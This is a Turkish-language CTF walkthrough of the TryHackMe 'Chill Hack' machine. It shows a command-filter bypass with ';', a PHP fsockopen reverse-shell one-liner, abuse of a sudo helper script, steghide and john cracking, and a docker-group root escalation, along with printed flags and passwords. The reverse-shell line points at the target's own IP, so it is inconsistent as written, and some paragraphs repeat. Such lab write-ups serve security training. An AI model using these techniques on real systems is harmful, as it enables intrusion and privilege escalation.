Zorluk: Easy
Merhaba, bu yazımda TryHackMe sitesinde bulunan Chill Hack isimli makinenin çözümünü anlatacağım.
Nmap taraması yaparak başlayalım, 21, 22 ve 80 portları açık.
22: SSH
21: FTP
80: HTTP
Kod:
root@kali:~# nmap -sC -sV 10.10.3.126
Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-27 04:38 EDT
Nmap scan report for 10.10.3.126
Host is up (0.070s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r-- 1 1001 1001 90 Oct 03 2020 note.txt
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:10.8.188.73
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 3
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 09:f9:5d:b9:18:d0:b2:3a:82:2d:6e:76:8c:c2:01:44 (RSA)
| 256 1b:cf:3a:49:8b:1b:20:b0:2c:6a:a5:51:a8:8f:1e:62 (ECDSA)
|_ 256 30:05:cc:52:c6:6f:65:04:86:0f:72:41:c8:a4:39:cf (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Game Info
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.97 seconds
80 portu açık olduğu için makinenin bir websitesi var, siteye erişmek için makine ıp adresini tarayıcıma yazıp giriyorum.
FTP sunucusundaki nota baktım, anonim olarak giriş yaptım ve dosyayı indirdim. Notta şunlar yazıyor:
"Anurodh, komuta koyulan dizeler üzerinde bazı filtrelemeler olduğunu söyledi - Apaar"
Sonra gizli dizinleri taratmak için gobuster aracını kullandım.
FTP sunucusundaki nota baktım, anonim olarak giriş yaptım ve dosyayı indirdim. Notta şunlar yazıyor:
"Anurodh, komuta koyulan dizeler üzerinde bazı filtrelemeler olduğunu söyledi - Apaar"
Sonra gizli dizinleri taratmak için gobuster aracını kullandım.
Kod:
$gobuster dir -u http://10.10.3.126 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://10.10.3.126
[+] Threads: 50
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Timeout: 10s
===============================================================
2020/12/05 11:12:39 Starting gobuster
===============================================================
/images (Status: 301)
/css (Status: 301)
/js (Status: 301)
/fonts (Status: 301)
/secret (Status: 301)
/server-status (Status: 403)
===============================================================
2020/12/05 11:14:34 Finished
===============================================================
/secret adlı dizine girdim burada komut çalıştırabileceğimiz bir input var bunun üzerinden sistemde reverse shell açarak bağlantı sağlayabiliriz.
Whoami, pwd, date gibi yanıt veren bazı temel komutlarla başladım.
ls ve 'cat /etc/passwd' denediğimde bir uyarı aldım ama komutları test etmeye devam edebilmem için engellenmedim.
Çeşitli komutları test etmeyi denedim ve ";" kullanarak filtreyi atlayabildiğimi gördüm. Bu açığı kullanarak bir reverse shell aldım.
REVERSE SHELL
Inputa hazırlamış olduğum shell komutunu girdim bunu yaparken kali makinemde netcat ile 4444 portundan gelen istekleri dinlemeye başladım.
whoami;php -r '$sock=fsockopen("10.10.3.126",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
Kod:
root@kali:~# nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.8.188.73] from (UNKNOWN) [10.10.3.126] 39764
/bin/sh: 0: can't access tty; job control turned off
$
Başarıyla bağlantıyı sağladım hemen sudo-l komutunu kullanarak root yetkisi istemeyen dosyaları kontrol ettim.
Kod:
www-data@ubuntu:/var/www/html/secret$ sudo -l
sudo -l
Matching Defaults entries for www-data on ubuntu:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User www-data may run the following commands on ubuntu:
(apaar : ALL) NOPASSWD: /home/apaar/.helpline.sh
Apaar kullanıcısına ait .helpline.sh dosyası üzerinde oynamalar yapabilirim.
USER.TXT
USER.TXT
$ sudo -u apaar /home/apaar/.helpline.sh
Kod:
www-data@ubuntu:/var/www/html/secret$ sudo -u apaar /home/apaar/.helpline.sh
sudo -u apaar /home/apaar/.helpline.sh
Welcome to helpdesk. Feel free to talk to anyone at any time!
Enter the person whom you want to talk with: hello
hello
Hello user! I am hello, Please enter your message: /bin/bash
/bin/bash
$ python3 -c 'import pty;pty.spawn("/bin/bash")'
$ python3 -c 'import pty;pty.spawn("/bin/bash")'
whoami
whoami
apaar
Apaar kullanıcı oldum ve home dizininde user.txt dosyasına ulaştım
Kod:
cd /home
cd /home
ls
ls
anurodh apaar aurick
cd apaar
cd apaar
ls
ls
local.txt
cat local.txt
cat local.txt
{USER-FLAG: e8vpd3323cfvlp0qpxxx9qtr5iq37oww}
ROOT.TXT
/home dizininde kullanıcı bayrağını bulduktan sonra /var/www/files/ içinde ilginç bir dizin buldum.
Kod:
www-data@ubuntu:/var/www/files$ ll
ll
total 28
drwxr-xr-x 3 root root 4096 Oct 3 2020 .
drwxr-xr-x 4 root root 4096 Oct 3 2020 ..
-rw-r--r-- 1 root root 391 Oct 3 2020 account.php
-rw-r--r-- 1 root root 453 Oct 3 2020 hacker.php
drwxr-xr-x 2 root root 4096 Oct 3 2020 images
-rw-r--r-- 1 root root 1153 Oct 3 2020 index.php
-rw-r--r-- 1 root root 545 Oct 3 2020 style.css
www-data@ubuntu:/var/www/files$ cat hacker.php
cat hacker.php
<html>
<head>
<body>
<style>
body {
background-image: url('images/002d7e638fb463fb7a266f5ffc7ac47d.gif');
}
h2
{
color:red;
font-weight: bold;
}
h1
{
color: yellow;
font-weight: bold;
}
</style>
<center>
<img src = "images/hacker-with-laptop_23-2147985341.jpg"><br>
<h1 style="background-color:red;">You have reached this far. </h2>
<h1 style="background-color:black;">Look in the dark! You will find your answer</h1>
</center>
</head>
</html>
(images/hacker-with-laptop_23-2147985341.jpg) dosyası içerisinde birşeyler gizlenmiş olabileceğinden bu dosyayı indiriyorum.
Kod:
root@kali:/data/Chill_Hack/files$ file hacker-with-laptop_23-2147985341.jpg
hacker-with-laptop_23-2147985341.jpg: JPEG image data, JFIF standard 1.01, resolution (DPI), density 300x300, segment length 16, baseline, precision 8, 626x417, components 3
kali@kali:/data/Chill_Hack/files$ steghide extract -sf hacker-with-laptop_23-2147985341.jpg
Enter passphrase:
wrote extracted data to "backup.zip".
Ortaya çıkan backup.zip dosyası şifreyle sıkıştırılmış bir arşi bunun şifresini kıralım.
Kod:
root@kali:/data/Chill_Hack/files$ /data/src/john/run/zip2john backup.zip > backup.hash
ver 2.0 efh 5455 efh 7875 backup.zip/source_code.php PKZIP Encr: 2b chk, TS_chk, cmplen=554, decmplen=1211, crc=69DC82F3 type=8
kali@kali:/data/Chill_Hack/files$ /data/src/john/run/john backup.hash --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
pass1word (backup.zip/source_code.php)
1g 0:00:00:00 DONE (2021-04-26 20:43) 9.090g/s 111709p/s 111709c/s 111709C/s total90..hawkeye
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Arşivin içerisinden çıkan source_code.php dosyasının içeriğine bakıyorum burda base64 ile encode edilmiş şifre ve bize hitap ettiği bir kullanıcı adı var.
Kod:
<html>
<head>
Admin Portal
</head>
<title> Site Under Development ... </title>
<body>
<form method="POST">
Username: <input type="text" name="name" placeholder="username"><br><br>
Email: <input type="email" name="email" placeholder="email"><br><br>
Password: <input type="password" name="password" placeholder="password">
<input type="submit" name="submit" value="Submit">
</form>
<?php
if(isset($_POST['submit']))
{
$email = $_POST["email"];
$password = $_POST["password"];
if(base64_encode($password) == "IWQwbnRLbjB3bVlwQHNzdzByZA==")
{
$random = rand(1000,9999);?><br><br><br>
<form method="POST">
Enter the OTP: <input type="number" name="otp">
<input type="submit" name="submitOtp" value="Submit">
</form>
<?php mail($email,"OTP for authentication",$random);
if(isset($_POST["submitOtp"]))
{
$otp = $_POST["otp"];
if($otp == $random)
{
echo "Welcome Anurodh!";
header("Location: authenticated.php");
}
else
{
echo "Invalid OTP";
}
}
}
else
{
echo "Invalid Username or Password";
}
}
?>
</html>
Kullanıcı adı: Anurodh
Şifre: !d0ntKn0wmYp@ssw0rd
Bu bilgileri kullanarak SSH bağlantısını sağlayaım.
Anurodh'a giriş yaptığımda kullanıcının docker grubunun üyesi olduğunu görebiliriz.
Şifre: !d0ntKn0wmYp@ssw0rd
Bu bilgileri kullanarak SSH bağlantısını sağlayaım.
Anurodh'a giriş yaptığımda kullanıcının docker grubunun üyesi olduğunu görebiliriz.
Kod:
anurodh@ubuntu:/home/apaar$ id
uid=1002(anurodh) gid=1002(anurodh) groups=1002(anurodh),999(docker)
Kod:
anurodh@ubuntu:/home/apaar$ docker images
REPOSITORY TAG IMAGE ID CREATED SIZE
alpine latest a24bb4013296 11 months ago 5.57MB
hello-world latest bf756fb1ae65 16 months ago 13.3kB
GTFOBins sitesine giderek docker üzerindeki yetki yükseltme yöntemlerine baktım ve birtanesini kullanarak yetkimi yükselttim.
Kod:
anurodh@ubuntu:/home/apaar$ docker run -v /:/mnt --rm -it alpine chroot /mnt sh
# id
uid=0(root) gid=0(root) groups=0(root),1(daemon),2(bin),3(sys),4(adm),6(disk),10(uucp),11,20(dialout),26(tape),27(sudo)
# cd /root
# ls -la
total 68
drwx------ 6 root root 4096 Oct 4 2020 .
drwxr-xr-x 24 root root 4096 Oct 3 2020 ..
-rw------- 1 root root 0 Oct 4 2020 .bash_history
-rw-r--r-- 1 root root 3106 Apr 9 2018 .bashrc
drwx------ 2 root root 4096 Oct 3 2020 .cache
drwx------ 3 root root 4096 Oct 3 2020 .gnupg
-rw------- 1 root root 370 Oct 4 2020 .mysql_history
-rw-r--r-- 1 root root 148 Aug 17 2015 .profile
-rw-r--r-- 1 root root 12288 Oct 4 2020 .proof.txt.swp
drwx------ 2 root root 4096 Oct 3 2020 .ssh
drwxr-xr-x 2 root root 4096 Oct 3 2020 .vim
-rw------- 1 root root 11683 Oct 4 2020 .viminfo
-rw-r--r-- 1 root root 166 Oct 3 2020 .wget-hsts
-rw-r--r-- 1 root root 1385 Oct 4 2020 proof.txt
# cat proof.txt
{ROOT-FLAG: w18gfpn9xehsgd3tovhk0hby4gdp89bg}
Congratulations! You have successfully completed the challenge.
,-.-. ,----. _,.---._ .-._ ,----.
,-..-.-./ \==\ ,-.--` , \ _.-. _.-. _,..---._ ,-.' , - `. /==/ \ .-._ ,-.--` , \
|, \=/\=|- |==||==|- _.-` .-,.'| .-,.'| /==/, - \ /==/_, , - \|==|, \/ /, /==|- _.-`
|- |/ |/ , /==/|==| `.-.|==|, | |==|, | |==| _ _\==| .=. |==|- \| ||==| `.-.
\, , _|==/==/_ , /|==|- | |==|- | |==| .=. |==|_ : ;=: - |==| , | -/==/_ , /
| - - , |==|==| .-' |==|, | |==|, | |==|,| | -|==| , '=' |==| - _ |==| .-'
\ , - /==/|==|_ ,`-._|==|- `-._|==|- `-._ |==| '=' /\==\ - ,_ /|==| /\ , |==|_ ,`-._
|- /\ /==/ /==/ , //==/ - , ,/==/ - , ,/ |==|-, _`/ '.='. - .' /==/, | |- /==/ , /
`--` `--` `--`-----`` `--`-----'`--`-----' `-.`.____.' `--`--'' `--`./ `--`--`-----``
--------------------------------------------Designed By -------------------------------------------------------
| Anurodh Acharya |
---------------------
Let me know if you liked it.
Twitter
- @acharya_anurodh
Linkedin
- www.linkedin.com/in/anurodh-acharya-b1937116a
#